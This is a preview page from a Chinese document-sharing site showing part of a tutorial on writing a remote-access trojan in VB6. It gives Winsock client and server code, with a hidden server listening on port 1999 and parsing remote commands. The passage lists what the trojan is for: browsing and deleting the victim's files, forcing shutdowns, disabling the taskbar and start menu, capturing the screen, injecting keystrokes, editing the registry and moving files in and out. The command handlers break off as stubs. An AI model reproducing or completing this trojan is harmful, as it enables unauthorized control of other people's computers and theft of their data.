VB高级编程精选.doc

  1. 1、本文档共88页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
浅谈用 VB6.0编写木马程序 现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的 C/S结构,目前也有一些开始向 B/S结构转变, 在这里暂且不对 B/S结构进行详谈,本文主要介绍 C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权 限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它 了。下面来谈谈如何用 VB来实现它。 首先使用 VB建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。 在 Client工程中建立一个窗体,加载 WinSock控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服 务器的 IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下: Private Sub cmdConnect_Click() If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then MsgBox (请输入主机名或主机 IP地址。) Exit Sub Else If Len(Text1.Text) 0 Then tcpClient.RemoteHost = Text1.Text Else tcpClient.RemoteHost = Text2.Text End If End If tcpClient.Connect Timer1.Enabled = True End Sub 连接建立之后就可以使用 DataArrival事件处理所收到的数据了。 在服务器端 systry工程也建立一个窗体,加载 WinSock控件,称为 tcpServer,协议选择 TCP,在 Form_Load事件中加 入如下代码: Private Sub Form_Load() tcpServer.LocalPort = 1999 tcpServer.Listen End Sub 准备应答客户端程序的请求连接,使用 ConnectionRequest事件来应答户端程序的请求,代码如下: Private Sub tcpServer_ConnectionRequest (ByVal requestID As Long) If tcpServer.State sckClosed Then tcpServer.Close‘检查控件的 State 属性是否为关闭的。 End If 如果不是,在接受新的连接之前先关闭此连接。 tcpServer.Accept requestID End Sub 这样在客户端程序按下了连接按钮后,服务器端程序的 ConnectionRequest事件被触发,执行了以上的代码。如果不出 意外,连接就被建立起来了。 建立连接后服务器端的程序通过 DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱 动器名、目录名、文件名等传到客户机端,客户机端接收后用 TreeView控件以树状的形式显示出来,浏览服务器端文件目 录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删 除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进 程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输 入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival 事件程序如 下: Private Sub tcpServer_DataArrival (ByVal bytesTotal As Long) Dim strData As String Dim i As Long Dim mKey As String tcpServer.GetData strData 接收数据并存入 strData For i = 1 To Len(strData) 分离 strData中的命令 If Mid(strData, i, 1) = @ Then mKey = Left(strData, i - 1) 把命令 ID号存入 mKey 把命令参数存入 strData strData = Right(strData, Len(strData) - i) Exit For End If Next i Select Case Val(mKey) Case 1 ‘驱动器名、目录名、文件名 Case 2 强制关闭服务器端的计算机 Case 3 强制重启服务器端的计算机 Case 4 屏蔽任务栏窗口;

文档评论(0)

希望之星 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档